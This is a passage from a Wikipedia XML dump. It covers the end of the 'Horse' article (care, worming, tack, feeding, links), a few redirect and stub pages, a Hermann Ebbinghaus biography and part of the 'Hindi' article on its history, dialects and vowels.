* Poultice boot
* Latex/medical gloves, unused
* Clean towel
* Soap and nail brush to scrub your hands
* Suitable box/container for all of the above, to keep them clean and tidy.

====Worming====
Your horse or pony should be wormed regularly, between every 8-13 weeks depending on the brand of wormer. Ask your vet for a worming programme.

Wormers come in the form of a paste or gel in a syringe, or a powder or granules, in a sachet. The sachet wormer is normally mixed in with the horse's feed. The syringe is used to squirt the paste/gel onto the horse's tongue.

You should also regularly (at least once a week) remove droppings from your horse's field to reduce numbers of worms.

There are several different brands of wormer, using different types of active chemical - which in turn kill different types of worm. You may have to use a different wormer at a certain time of year, to combat a specific worm, for example redworm.

=====Active chemicals found in different wormers=====
*Fenbendazole
*Moxidectin
*Ivermectin
*Pyrantel
*Membendazole
*Oxibendazole

====Dental care====
The horse or pony must have its teeth checked by a vet or professional qualified dentist at least once a year, as the teeth can wear down and create sharp edges which may cause problems when eating/being ridden. If the teeth are sharp, the vet/dentist will rasp them until they are smooth.

===Insurance===
The horse or pony should be insured, as veterinary costs can mount up to thousands of pounds, horses are frequently stolen, and can potentially cause serious damage to property/people/other horses which would need to be covered by a third party policy. Tack, which is also expensive to replace and frequently stolen, could also be insured.


The horse or pony will need a field and possibly a stable. You can rent a field and/or stable from a livery yard, or buy your own. The horse or pony will always need equine company as they are herd creatures. It is cruel to keep a horse or pony on its own.


===Tack and equipment===
'Tack' refers to equipment worn by the horse, normally when being ridden or lunged for exercise. The tack may be made from leather, or a synthetic material, which tends to be lighter to carry and cheaper to buy.

Tack and rugs can be expensive to buy, but will last for years if cared for. You must clean the tack regularly with water and work saddle soap into the leather to keep it supple. Dry and damaged tack can break, which could cause a serious acccident if you were riding. You should also rinse the bit after every ride, or it will become unpleasant for the horse.

The basic tack a horse requires is:
- A bridle, including a bit and reins
- A saddle, including stirrup leathers, stirrups, and a girth
- A numnah or saddlecloth/pad
- A headcollar/halter and lead rope

Other equipment you may need:
- Wheelbarrow - for mucking out and removing droppings from the field
- Fork
- Shovel
- Broom
- Buckets - for your horse's water, feed, bathing, tack cleaning etc.
- Haynets
- Grooming kit
- Storage box or locker for your equipment - things tend to walk on livery yards!

===Feeding===

The horse/pony needs approximately 2.5% of its bodyweight in food per day. This may include grass, hay, haylage and hard feed. Most horses and ponies will need a ration of 60-70% grass/hay and 30-40% hard feed. These ratios must be considered when increasing the horses' workload, as the hard feed ration may need to be increased.

Make any feeding changes gradually.
Feed only good quality hay and feed.
Feed plenty of bulk (fibre).
Clean fresh water should be available at all times.
Leave AT LEAST an hour after feeding before exercising.
Keep feeding utensils clean. You wouldn't eat from a dirty plate.
Feed according to age/workload/breed

===Other considerations===
Other costs you must consider are hard feed, hay, bedding, riding lessons, show entry fees, transport to shows. Freezemarking or microchipping is another consideration if you are worried about your horse being stolen.

A horse is a living animal and needs looking after 365 days a year, including your birthday, Christmas Day, and freezing cold mornings. Whether you do the caring is your choice, but if you cannot provide the daily care a horse needs, you must arrange for livery.

If you plan to do the caring, ensure you gain some practical experience by taking a horse-care course. There's often more to it than you would think.

==Miscellaneous==

===Horse meat===
:''Main article: [[horse meat]]''

Horse meat has been used as food for animals and humans throughout the ages. Although consumption by humans is considered abhorrent by some people in the [[United Kingdom]], the [[United States|US]] and [[Australia]], it is eaten in many other parts of the world and is an export industry in the USA. 

[[Mare's milk]] is used by peoples with large horse-herds, such as the [[Mongols]]. They may let it ferment to produce [[kumys]]. However, mares produce a much lower yield of milk than do [[cow]]s.

===Saddling and mounting===
The common European practice and tradition of [[saddle|saddling]] and mounting the horse from the lefthand side is often said to originate from the need to avoid inadvertantly striking the horse with a carried [[sword]] in the process. However, several other explanations are equally plausible.
The saddle and the bridle are called tack. There are many other pieces of tack. There is a saddle blanket, which goes under the saddle to protect the horse from getting sores. The saddle has stirrups, which the rider puts their feet in. The bridle also have many parts. The bit is a metal part of the bridle. This is put in a horses mouth to control them. There are hundreds of different bits in the world. One of the most well known bit is the snaffle bit, which is gentle. To mount a horse, you put your left foot in the left stirrup and then hoist your self up using your leg. You swing your right leg over the horse and settle down, being sure not to land on the horse's back too hard.

===Weight===
Light horses such as Arabians, Morgans, Quarter Horses, Paints and Thoroughbreds weigh up to 1300lbs (about 590kg). &quot;Heavy&quot; or draft horses such as Clydesdale, Draft, Percherons, and Shire horses can weigh up to 2800lbs (about 907kg).

===Zodiac===
The '''horse''' features in the 12-year cycle of animals which appear in the [[Chinese zodiac]] related to the [[Chinese calendar]]. According to Chinese folklore, each animal is associated with certain personality traits, and those born in the year of the horse are: intelligent, independent and free-spirited. See: [[Horse (Zodiac)]].

==References==
*''Book of Horses: A Complete Medical Reference Guide for Horses and Foals'', edited by Mordecai Siegal. (By members of the faculty and staff, University of California, Davis, School of Veterinary Medicine.)  Harper Collins, 1996.

*''Illustrated Atlas of Clinical Equine Anatomy and Common Disorders of the Horse'', by Ronald J. Riegal, D.V.M. and Susan E. Hakola, B.S., R.N., C.M.I.  Equistar Publications, Ltd., 1996.

*International Commission on Zoological Nomenclature. 2003. Opinion 2027 (Case 3010). ''Usage of 17 specific names based on wild species which are pre-dated by or contemporary with those based on domestic animals (Lepidoptera, Osteichthyes, Mammalia): conserved''. Bull.Zool.Nomencl., 60:81-84.

==See also==
*[[List of equine topics]]
*[[classic equitation books]] - [[horse gaits]] - [[horse tack]] - [[horse teeth]] - [[Horseshoe]] - [[Equine forelimb anatomy]] - [[Equine colic]]
*[[equestrianism]] (horseback riding)
*[[List of fictional horses]]
*[[List of historical horses]]
*[[List of horse accidents]]
*[[List of horse breeds]] 
*[[Trojan Horse]]
*[[Cart|Horsecart]]

*[[Cart|Horsecart]]
*[[Equine coat color genetics]]
*Coloring: [[Gray (horse)|gray]]; the [[Creme gene]] for info on palomino, buckskin, smoky black, cremello, perlino, and smoky cream genetics
*[[Ehwaz]]
*[[Ashvamedha]]
*[[Horse meat]] for human consumption
*[[Horse reproduction]]
*[[Horse breeding]]

==External links==
{{commonscat|Equus caballus}}
*[http://www.webpony.com/ WebPony Horseworld Connection] - Horse Search Engine, horse news and message board
*[http://www.tapestryinstitute.org/horsehuman.html Tapestry Institute's Horse-Human Relationship Program] - Research on and education about the horse-human relationship
* [http://www.imh.org/imh/exh1.html &quot;International Museum of the Horse&quot;] for a brief overview of horse history from 55 million B.C. to present
*[http://www.zoo-munich.de/text.php?page=103242&amp;v=100003 Breeding and reintroduction program of the Przewalski's horse at Zoo Hellabrunn Munich]
* [http://www.wildhorseadvertising.com/ Wild Horse Advertising] - Horse Industry Marketing.
* [http://equine-world.co.uk/ Equine World UK]
* [http://www.equinehits.com Horses for Sale Classifieds.]
* [http://ultimatehorsesite.com/ The ULTIMATE Horse Site -  Horse Articles, Health, Care, Info]
* [http://www.ansi.okstate.edu/breeds/horses/Horses-w.htm Breeds of horses] - Encyclopaedic dictionary from Oakland State University
* [http://news.bbc.co.uk/2/hi/science/nature/4618571.stm  New insight into horse evolution]
* [http://www.horse-breeds.net  Horse Breeds]
* [http://www.equestrianmag.com EquestrianMag.com The online magazine for Horse Enthusiasts.]
* [http://www.horse-diseases.com/ Horse Diseases]  - Information about common horse diseases
* [http://www.annettewinter.com A discussion of Natural Horsemanship - the humane approach to horse training]
* [http://www.animalmagazineonline.com/featured.php?article=27 Guidelines for feeding horses] - Informative guide to feeding horses
* [http://dreamviewfarm.com/genetics.html Horse Coat Color Genetics]
* [http://www.usenet-replayer.com/webrings/animal-horse.html Pictures of horses] published on [[USENET]] stored with a search function
* [http://ultimatehorsesite.com/horseboard Horse Message Board]
* [http://www.awionline.org/pubs/Quarterly/spring2001/horsemeat.htm Article on slaughter of horses for meat]
* [http://www.equineonline.net/ Equine Online]- Equestrian articles including buying, selling &amp; riding horses in UK &amp; France
* [http://www.everythingequus.com/ Everything Equus] - Equestrian articles including buying, selling &amp; riding horses in USA
* [http://www.wildhorseandburro.blm.gov/ Bureau of Land Management National Wild Horse and Burro Program] - Wild Horse and Burro Adoption
* [http://www.ohorse.com/ O Horse Tack Shops and Stables Directory] - Extensive directory of horse websites, organized by region
* [http://www.equineonline.net/forum/index.php Horse Talk Forum] - Friendly forum for horse lovers in UK &amp; France
* [http://www.horsesforum.net/forums/  Horses Forum.net - Where horse lovers talk!]
* [http://www.horsefinder.net/ HorseFinder Network] -- Free Image Horse Classifieds on the Horse Finder Network. Let Sherlock help you find our sell your next horse.
* [http://www.e-equestrian.com/ Horse Forums] - Equestrian community dedicated to all aspects of riding and horsemanship.

====Racing &amp; Sport External Links====
* [[The American Quarter Horse Association]] [http://www.aqha.com] - The official website for the largest equestrian organization in the world, with over 300,000 international members.  
* [http://www.jockeyclub.com/about_tjc.asp Jockey Club of North America]
* [http://www.ustrotting.com/ United States Trotting Association]
* [http://www.aerc.org/ American Endurance Ride Conference]
* [http://www.rideandtie.org/ Ride and Tie Association]
* [http://www.aqha.com/racing/index.html Quarter Horse Racing]
* [http://www.yabusame.jp/english/index.html Takeda-school Kyubadou Yabusame&lt;--horseback archery]
* [http://www.britishopenshowjumping.com/ The British Open Show Jumping Championships]  - Top class international Show Jumping
* [http://hoys.co.uk/ The Horse of the Year Show] - This is Britain's show of Champions
* [http://www.americanvaulting.org/ The American Vaulting Association] - Equestrian Vaulting 
* [http://www.natrc.org/ The North American Trail Ride Conference] - Competitive Trail Riding
[[Category:Horses| ]]
[[Category:Livestock]]
[[Category:Transportation]]

&lt;!-- The below are interlanguage links. --&gt;

[[ang:Hors]]
[[ar:حصان]]
[[ast:Caballu]]
[[bg:Кон]]
[[bo:རྟ་]]
[[ca:Cavall]]
[[cs:Kůň]]
[[cy:Ceffyl]]
[[da:Hest]]
[[de:Hauspferd]]
[[et:Hobune]]
[[el:Άλογο]]
[[es:Caballo]]
[[eo:Ĉevalo]]
[[fa:اسب]]
[[fr:Cheval]]
[[gl:Cabalo]]
[[ko:말 (동물)]]
[[io:Kavalo]]
[[ia:Cavallo]]
[[is:Hestur]]
[[it:Equus caballus]]
[[he:סוס]]
[[ka:ცხენი]]
[[ku:Hesp]]
[[kw:Margh]]
[[lt:Arklys]]
[[li:Taam peêrd]]
[[nah:Kawayo]]
[[nl:Paard (dier)]]
[[nds:Peerd]]
[[ja:ウマ]]
[[os:Бæх]]
[[pl:Koń]]
[[pt:Cavalo]]
[[ro:Cal]]
[[ru:Лошадь]]
[[sl:Konj]]
[[sr:Коњ]]
[[fi:Hevonen]]
[[sv:Häst]]
[[th:ม้า]]
[[zh:马]]</text>
    </revision>
  </page>
  <page>
    <title>Hobbes</title>
    <id>13646</id>
    <revision>
      <id>15911242</id>
      <timestamp>2004-01-13T00:51:33Z</timestamp>
      <contributor>
        <username>Snoyes</username>
        <id>8289</id>
      </contributor>
      <comment>reinstate redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Thomas Hobbes]]</text>
    </revision>
  </page>
  <page>
    <title>Hermann Ebbinghaus</title>
    <id>13647</id>
    <revision>
      <id>42091143</id>
      <timestamp>2006-03-03T19:43:52Z</timestamp>
      <contributor>
        <username>Skagedal</username>
        <id>48119</id>
      </contributor>
      <comment>clarification on the name of the book</comment>
      <text xml:space="preserve">'''Hermann Ebbinghaus''' ([[1850]]&amp;ndash;[[1909]]) was a [[Germany|German]] [[psychologist]] who pioneered experimental study of [[memory]], and discovered the [[forgetting curve]].

Ebbinghaus was born in [[Barmen]]. At age 17, he entered the [[University of Bonn]]. His first and foremost interest was psychology. His studies were interrupted in [[1870]] by the [[Franco-Prussian War]]. He enlisted in the [[Prussia]]n army. He resumed his studies and received a Ph.D. in [[1873]].

In [[1885]], he published his groundbreaking ''Über das Gedchtnis'' (&quot;On Memory&quot;, later translated to English as ''Memory. A Contribution to Experimental Psychology''&lt;ref name=&quot;Wozniak&quot;&gt;[http://psychclassics.yorku.ca/Ebbinghaus/wozniak.htm ''Introduction to Memory'', [[Robert H. Wozniak]] 1999&lt;/ref&gt;) in which he described experiments he conducted on himself to describe the process of forgetting.

He was professor of philosophy at the [[University of Berlin]], and later in Breslau (now [[Wrocław]], [[Poland]]). He died of [[pneumonia]] in Breslau at the age of 59. 

His contributions are multiple. His famous work on memory initiated experimental psychology. He pioneered precise experimental techniques used in the research on learning. In addition to his research and lecturing, he established two psychology laboratories in Germany, and founded a major psychology journal.

==References==
&lt;references /&gt;

==External links==
*[http://psy.ed.asu.edu/~classics/Ebbinghaus/index.htm ''Memory: A Contribution to Experimental Psychology'' ]
*[http://psychclassics.yorku.ca/Ebbinghaus/wozniak.htm Introduction to ''Memory.'' by Robert H. Wozniak]
*[http://www.indiana.edu/~intell/ebbinghaus.shtml Hermann Ebbinghaus at the Human Intelligence website]

*There is a photograph of Ebbinghaus at [http://www.york.ac.uk/depts/maths/histstat/people/ebbinghaus.gif Hermann Ebbinghaus] on the [http://www.york.ac.uk/depts/maths/histstat/people/welcome.htm Portraits of Statisticians] page.

[[Category:1850 births|Ebbinghaus, Hermann]]
[[Category:1909 deaths|Ebbinghaus, Hermann]]
[[Category:German psychologists|Ebbinghaus, Hermann]]

[[de:Hermann Ebbinghaus]]
[[fr:Hermann Ebbinghaus]]
[[is:Hermann Ebbinghaus]]
[[ja:ヘルマン・エビングハウス]]
[[ro:Hermann Ebbinghaus]]</text>
    </revision>
  </page>
  <page>
    <title>Hilbert</title>
    <id>13648</id>
    <revision>
      <id>15911244</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[David Hilbert]]
</text>
    </revision>
  </page>
  <page>
    <title>Home Internet Solution</title>
    <id>13650</id>
    <revision>
      <id>26533130</id>
      <timestamp>2005-10-26T15:06:02Z</timestamp>
      <contributor>
        <ip>212.160.198.8</ip>
      </contributor>
      <comment>+com-stub</comment>
      <text xml:space="preserve">'''Home Internet Solution''' ('''HIS''') is a [[Digital Subscriber Line|DSL]] technology for [[Internet]] access developed by the [[Sweden|Swedish]] telephone company [[Ericsson]].

{{com-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Hindi</title>
    <id>13652</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42115346</id>
      <timestamp>2006-03-03T22:45:55Z</timestamp>
      <contributor>
        <username>Magicalsaumy</username>
        <id>504515</id>
      </contributor>
      <comment>/* Common difficulties faced in learning Hindi */ shortened--removed repititions</comment>
      <text xml:space="preserve">[[Image:hindi.png|left]]
{{Infobox Language
|name=Hindi
|nativename=हिन्दी ''hind{{Unicode|ī}}''
|familycolor=Indo-European
|states=[[India]]
|region=[[South Asia]]
|speakers=480 million native
|rank=2 
|fam2=[[Indo-Iranian languages|Indo-Iranian]]
|fam3=[[Indo-Aryan languages|Indo-Aryan]]
|writingsystem=[[Devanagari|{{Unicode|Devanāgarī}}]]
|nation=[[India]] (the Union government)
|agency=[[Central Hindi Directorate]] [http://hindinideshalaya.nic.in/hindi/indexhindi.html]
|iso1=hi|iso2=hin|iso3=hin|notice=Indic}}

'''Hindi''' (हिन्दी ''hind{{Unicode|ī}}''), an [[Indo-European language]] spoken mainly in [[North India|North]], [[Central India|Central]], and [[Western India]], is one of the [[national language]]s of [[India]]. It is part of a [[dialect continuum]] of the [[Indo-Aryan languages|Indo-Aryan]] family, bounded on the northwest and west by [[Panjabi language|{{Unicode|Panjābī}}]], [[Sindhi language|Sindh{{Unicode|ī}}]], and [[Gujarati language|Gujarātī]]; on the south by [[Marathi language|{{Unicode|Marāthī}}]]; on the southeast by [[Oriya language|Or{{Unicode|īyā}}]]; on the east by [[Bengali language|Bengālī]]; and on the north by [[Nepali language|{{Unicode|Nepālī}}]].  

Hindi also refers to a standardized register of [[Hindustani]] that was made one of the official languages of India. The grammatical description in this article concerns standard Hindi. 

Hindi is often contrasted with [[Urdu|{{Unicode|Urdū}}]], another standardized form of Hindustani that is the official language of Pakistan and some states in India. The primary differences between the two are that Standard Hindi is written in [[Devanāgarī]] and has supplemented some of its [[Persian language|Persian]] and [[Arabic language|Arabic]] vocabulary, with words from [[Sanskrit]]; while Urdu is written in [[nastaliq script]], a variant of the [[Persian alphabet|Persio-Arabic script]], and draws heavily on Persian and Arabic vocabulary. The term &quot;Urdu&quot; also includes dialects of Hindustani other than the standardized languages. Other than these, linguists consider both Hindi and Urdu to be the same language.

==Classification==
Hindi is classified as a language belonging to the [[Indo-European family]] of languages. It comes under the [[Indo-Iranian languages|Indo Iranian branch]], in the [[Indo-Aryan languages|Indo-Aryan sub-branch]].

==Ethnicity==
===Area===
Hindi is the predominant language in the states and territories of [[Himachal Pradesh]], [[Delhi]], [[Haryana]], [[Chandigarh]], [[Uttar Pradesh]], [[Madhya Pradesh]], [[Bihar]], [[Uttaranchal]], [[Jharkhand]], and [[Chattisgarh]]. It is spoken and understood in  [[Gujarat]], [[Punjab, India|Punjab]], [[Rajasthan]], and [[Kashmir]], states that otherwise have their own native languages. It is also widely spoken in the cities of [[Mumbai]], [[Delhi]], [[Chandigarh]], [[Ahmedabad]], [[Kolkata]], [[Bangalore]] and [[Hyderabad]], all of which are cosmopolitan cities harboring large communities of people from various parts of India. 

Local variations of Hindi are counted as minority languages in several countries, including [[Fiji]], [[Mauritius]], [[Guyana]], [[Suriname]], and [[Trinidad and Tobago]].

===Number of speakers===
Hindi is among the more widely spoken languages in the world. According to some estimates, about 500 million people in India and abroad are native speakers of Hindi and the total number of people who understand the language may be as high as 800 million. According to the [[1991]] census&lt;sup&gt;[http://www.censusindia.net/cendat/language/lang_table5.PDF]&lt;/sup&gt; 40.22% of the Indian population can speak Hindi.

According to the 1991 [http://www.censusindia.net/cendat/language/lang1.html census of India] (which encompasses all the dialects of Hindi, including those that might be considered separate languages by some linguists—e.g., Bhojpuri), Hindi is spoken by about 337 million people in India as the mother tongue, which makes up about 40 % of India's 1991 population. According to [http://www.ethnologue.com/14/show_language.asp?code=HND ethnologue], about 180 million people in India regard Standard Hindi as their mother tongue. Another 300 million use it as second language. Outside India, Hindi speakers number 8 million in [[Nepal]], 890,000 in [[South Africa]], 685,000 in [[Mauritius]], 317,000 in the [[USA]]&lt;sup&gt;[http://www.census.gov/prod/2003pubs/c2kbr-29.pdf]&lt;/sup&gt;, 233,000 in [[Yemen]], 147,000 in [[Uganda]], 30,000 in [[Germany]],  20,000 in [[New Zealand]]  and 5,000 in [[Singapore]], while the [[UK]] and [[UAE]] also have large populations of Hindi speakers. Hence, according to ''ethnologue'' (1999 data), Hindi/Urdu is the fifth most spoken language in the world, while according to ''Comerie'' (1998 data), Hindi-Urdu is the second most spoken language in the world (330 million native speakers).

Because of Hindi's extreme similarity to Urdu, Urdu and Hindi speakers can usually understand one another, if both sides do not use specialized technical vocabulary (e.g., those pertaining to religion, politics, hi-fi poetry, etc.).  But it would be questionable to count Urdu speakers as native speakers of Hindi, because of the fact that Hindi (spoken by the Hindus) and Urdu (spoken by the Muslims) are socio-politically different (although linguists ''do'' this).

===Official status===
Hindi, in devanagari script, is the '''national language''' (''rāshtrabhāshā'') and the official language of the Union of [[India]]. Article 343 of the [[Constitution of India]] states: &quot;Clause (1)—The official language of the Union shall be Hindi in Devanagari script&quot;. It is also the official language of the states [[Uttar Pradesh]], [[Bihar]], [[Jharkhand]], [[Uttaranchal]], [[Madhya Pradesh]], [[Rajasthan]], [[Chattisgarh]], [[Himachal Pradesh]], [[Haryana]] and the National Capital Territory of [[Delhi]]. Note again that English is the ''co-official'' language of the Indian Union, and that each of the several states mentioned above may also have another ''co-official language'' (usually in Hindi-speaking states, it is [[Urdu]]). Similarly Hindi is accorded the status of co-official language of many other states of the Indian Union.

==History==
{{main|History of Hindi}}

Hindi evolved from [[Sanskrit]], by way of the [[Middle Indo-Aryan]] [[Prakrit]] languages and [[Apabhramsha]] of the [[Middle Ages]].

As a standardised register of [[India]], Hindi became the national language&lt;sup&gt;[http://indiaimage.nic.in/languages.htm]&lt;/sup&gt; of India on [[January 26]], [[1950]], although [[English language|English]] and 21 other languages are recognised as official languages by the [[Constitution of India]].

===Standard Hindi===
After independence of India, the Government of India worked on standardizing Hindi, and the following changes took place:
*standardization of Hindi grammar: In [[1954]], the [[Government of India]] set up a Committee to prepare a grammar of Hindi; The committee's report was released in [[1958]] as &quot;A Basic Grammar of Modern Hindi&quot;
*standardization of Hindi spelling
*standardization of [[Devanagari]] (Devanāgarī) script by the Central Hindi Directorate, Ministry of Education and Culture to bring about uniformity in writing and to improve the shape of some devanagari characters.
*scientific mode of scribing the Devanagari alphabet
*incorporation of diacritics to express sounds from other languages

==Vocabulary==
Standard Hindi derives much of its formal and technical vocabulary from [[Sanskrit]]. Standard or ''shuddha'' (&quot;pure&quot;) Hindi is used only in public addresses and radio or TV news, while the everyday spoken language in most areas is one of several varieties of [[Hindustani language|Hindustani]], whose vocabulary contains words drawn from [[Persian language|Persian]] and Arabic. In addition, spoken Hindi includes words from [[English language|English]] and other languages as well.

Vernacular [[Urdu]] and Hindi are practically indistinguishable. However, the literary registers differ substantially; in highly formal situations, the languages are barely intelligible to speakers of the other. It bears mention that in centuries past both Sanskrit and Persian have been regarded as the languages of the elite, even by those of differing ethnic and religious backgrounds.

There are two principal categories of words in Standard Hindi: 
*''tatsam'' (तत्सम्) words: These are the words which have been directly lifted from Sanskrit to enrich the formal and technical vocabulary of Hindi. Such words (almost exclusively nouns) have been taken without any phonetic or spelling change. Among nouns, the ''tatsam'' word could be the Sanskrit uninflected word-stem, or it could be the nominative singular form in the Sanskrit nominal declention.
*''tadbhav'' (तद्भव) words: These are the words that ''might'' have been derived from Sanskrit or the Prakrits, but have undergone minor or major phonetic and spelling changes as they appear in modern Hindi. They also include words borrowed from the other languages.

Similarly, Urdu treats its own vocabulary, borrowed directly from Persian and Arabic, as a separate category for morphological purposes.

Hindi from which most of the Persian, Arabic and English words have been ousted and replaced by ''tatsam'' words is called ''Shuddha Hindi''. Chiefly, the proponents of the so-called ''[[Hindutva]]'' are vociferous supporters of ''Shuddha Hindi''.

Excessive use of ''tatsam'' words sometimes creates problems for most native speakers. Strictly speaking, the ''tatsam'' words are words of Sanskrit and not of Hindi—thus they have complicated consonantal clusters which are not linguistically valid in Hindi. Educated middle class population of India can pronounce these words with ease, but people of ruralbackgrounds have much difficulty in pronouncing them. Similarly, vocabulary borrowed from Persian and Arabic also brings in its own consonantal clusters and &quot;foreign&quot; sounds, which may again cause difficulty in speaking them.

==Sociolinguistics of Hindi==
===Variants===
Sociolinguists&lt;sup&gt;[http://www.ethnologue.com/show_language.asp?code=hin]&lt;/sup&gt; have traditionally given what they call as four major ''variants'' of Hindi, viz.,
*'''High Hindi'''—the standardized Hindi (based on the ''Khariboli'' dialect), written in [[devanagari script]], which contains numerous Sanskrit loanwords, including those introduced more recently to enrich the technical and poetical vocabulary and to reduce reliance on words of Perseo-Arabic origin.  Traditionally, this is the register spoken by the urban Hindu population of north India and is the form of Hindi taught in Indian schools and used in television news and newspapers. Today, High Hindi with many Persian, Arabic and English loanwords is the spoken form of this language in much of the north India, and is used in Hindi films, drama and television serials.
*'''Dakhini'''—spoken in the Deccan plateau region in and around [[Hyderabad]], similar to Urdu but with fewer words derived from Perseo-Arabic in its vocabulary.
*'''Rekhta'''—a form of Urdu used in poetry, and
*'''[[Urdu]]'''—It is a variant of Hindi (and also based on the ''Khariboli'' dialect), but written in [[Arabic script|Perseo-Arabic script]].  It utilizes a more extensive [[Persian language|Persian]] and [[Arabic language|Arabic]] vocabulary and fewer Sanskrit loanwords, especially in its formal register.  Before the [[Partition of India]], Urdu's linguistic area was similar to that of High Hindi, but it was more commonly spoken as a mother tongue by Muslims and was identified as a cultural expression of [[Islam]] in north India.

===Dialects===
Hindi in the broad sense is a [[dialect continuum]] without clear boundaries. For example, both [[Nepali language|Nepali]] and [[Panjabi language|Panjabi]] are sometimes considered to be Hindi (based on the high level of mutual intelligibility for Panjabi and Hindi especially), though they are more often considered to be separate languages. Hindi is often divided into [[Western Hindi]] and [[Eastern Hindi]], and these are further divided. Following is a list of principal Hindi dialects; '''boldface''' indicates those that are classified as separate languages by some linguists.

*[[Hindustani]], including standard Hindi (or 'High Hindi') and standard [[Urdu]], as well as regional dialects of Urdu. Standard Hindi is the principal official languages of India, while standard Urdu is the official language of Pakistan and the state of Jammu and Kashmir. Urdu has a rich literary history, being the language of the Mughal court second only to Persian 
*[[Khadiboli]] or ''Sarhindi'', spoken in western Uttar Pradesh; the dialect that forms the basis for Standard Hindi
*'''[[Chhattisgarhi]]''' (sometimes spelled &quot;Chattisgarhi&quot;; also known as Lahariya or Khalwahi), spoken mostly in the recently created state of [[Chhattisgarh]]
*'''Bagheli''', spoken mostly in the [[Baghelkhand]] region of the state of [[Madhya Pradesh]]
*'''[[Awadhi]]''', spoken mostly in central [[Uttar Pradesh]], the area formerly comprising the kingdom of [[Awadh]] or &quot;'''Oudh'''&quot;
**Fijian Hindustani, a form of Awadhi spoken by [[Fiji|Fijians]] of Indian descent
*'''[[Bihari]]'''', mostly spoken in the state of [[Bihar]], which in turn is comprised of several principal dialects:
**'''Angika''', 
**'''[[Bhojpuri]]'''
**Sarnami - a form of Bhojpuri with Awadhi influence spoken by Surinamers of Indian descent
**'''[[Maithili]]''', now an official language of [[Bihar]]
**'''Magahi''',
**'''Vajjika''', 
*'''[[Rajasthani]]''', mostly spoken in the state of [[Rajasthan]], and also comprised of several notable (sub)dialects:
**'''[[Marwari]]'''
**Mewati or Mewari
**Jaipuri
*[[Braj Bhasha]], in a vaguely defined region of north central India, centered on Delhi
*[[Bundeli]], mostly spoken in the Bundelkhand region and the [[Jhansi]] district of Uttar Pradesh
*Hariyanvi, ''Bangaru'' or ''Jatu'', mostly spoken in the state of [[Haryana]]
*Kanauji, mostly spoken in [[Kanauj]], Uttar Pradesh
*The Eastern Hindi dialect centered on the [[Hinduism|Hindu]] holy city of [[Varanasi]] in [[Uttar Pradesh]], with a strong influence on the Sanskritized learned vocabulary of standard Hindi
*[[Bambaiya Hindi]], the dialect of the city of [[Bombay]] (Mumbai); the basis for the language of many popular [[Bollywood]] films

These dialects demonstrate a variety of influences including the adjacent Iranian, Dravidian, and Tibeto-Burman language families.

==Phonology==
{{IPA notice}}
There are approximately 11 vowels and 35 consonants in Standard Hindī. They are shown below:

===Vowels===
[[Image:Hindi vowel chart.png|right|The vowel phonemes of Hindi]]

The vowels of Hindi with their word-initial devanagari symbol, diacritical mark with the consonant प (p), pronunciation (of the vowel alone and the vowel following / p /) in [[IPA]], equivalent in [[IAST]] and (approximate) equivalents in Standard English are listed below:
{|class=&quot;wikitable&quot; align=&quot;center&quot; border=&quot;2&quot;
! '''Alphabet'''||'''Diacritical mark with “प”'''||'''Pronunciation'''||Pronunciation with / p /||'''[[IAST]] equiv.'''||'''English eqivalent'''
|-align=&quot;center&quot;
| अ||प||{{IPA|/ ə /}}||{{IPA|/ pə /}}||a||short or long [[Schwa]]: as the ''a'' in '''a'''bove or '''a'''go
|-align=&quot;center&quot;
| आ||पा||{{IPA|/ α: /}}||{{IPA|/ pα: /}}||ā||long [[Open back unrounded vowel]]: as the ''a'' in f'''a'''the
|-align=&quot;center&quot;
| इ||पि||{{IPA|/ i /}}||{{IPA|/ pi /}}||i|| short [[close front unrounded vowel]]: as ''i'' in b'''i'''t
|-align=&quot;center&quot;
| ई||पी||{{IPA|/ i: /}}||{{IPA|/ pi: /}}||ī|| long [[close front unrounded vowel]]: as ''i'' in mach'''i'''ne
|-align=&quot;center&quot;
| उ||पु||{{IPA|/ u /}}||{{IPA|/ pu /}}||u|| short [[close back rounded vowel]]: as ''u'' in p'''u'''t
|-align=&quot;center&quot;
| ऊ||पू||{{IPA|/ u: /}}||{{IPA|/ pu: /}}||ū|| long [[close back rounded vowel]]: as ''oo'' in sch'''oo'''l
|-align=&quot;center&quot;
| ए||पे||{{IPA|/ e: /}}||{{IPA|/ pe: /}}||e|| long [[close-mid front unrounded vowel]]: as ''a'' in g'''a'''me (not a diphthong)
|-align=&quot;center&quot;
| ऐ||पै||{{IPA|/ æ: /}}||{{IPA|/ pæ: /}}||ai|| long [[near-open front unrounded vowel]]: as ''a'' in c'''a'''t
|-align=&quot;center&quot;
| ओ||पो||{{IPA|/ ο: /}}||{{IPA|/ pο: /}}||o|| long [[close-mid back rounded vowel]]: as ''o'' in t'''o'''ne (not a diphthong)
|-align=&quot;center&quot;
| औ||पौ||{{IPA|/ ɔ: /}}||{{IPA|/ pɔ: /}}||au|| long [[open-mid back rounded vowel]]: as ''au'' in c'''au'''ght
|-align=&quot;center&quot;
| &lt;none&gt;||&lt;none&gt;||{{IPA|/ ɛ /}}||{{IPA|/ pɛ /}}||&lt;none&gt;|| short [[open-mid front unrounded vowel]]: as ''e'' in g'''e'''t
|-
|}

===Additional notes on vowels===
* The short [[open-mid front unrounded vowel]] ({{IPA|/ ɛ /}}: as ''e'' in g'''e'''t), does not have any symbol or diacritic in Hindi script. It occurs only as an allophonic variant of [[schwa]] (in place word-middle '''a''', determined only by convention) in certain words in the standard Khariboli dialect. E.g., the orthography dictates that रहना must be pronounced as {{IPA|/ rəhənα: /}}, but it is actually pronounced as {{IPA|/ rɛhnα: /}}. It also occurs in loanwords from English, where it might be accorded a new vowel symbol of ऍ (''chandra'': पॅ).
* The short [[open-mid back rounded vowel]] ({{IPA|/ ɔ /}}: as ''o'' in h'''o'''t), does not exist in Hindi at all, other than for English loanwords. In orthography, a new symbol has been invented for it: ऑ (पॉ).
* There are some additional vowels traditionally listed in the Hindi alphabet. They are 
**ऋ (originally in Sanskrit a vowel-like syllabic [[retroflex approximant]]), pronounced in modern Hindi as {{IPA|/ ri /}}, used only in Sanskrit loanwords (पृ).
**अं (called ''anusvāra''), pronounced as / əŋ /. Its diacritic (the dot above) is used both for nasalizing the vowel in the syllable and for the sound of a vowel-like / n / or / m /. (पं).
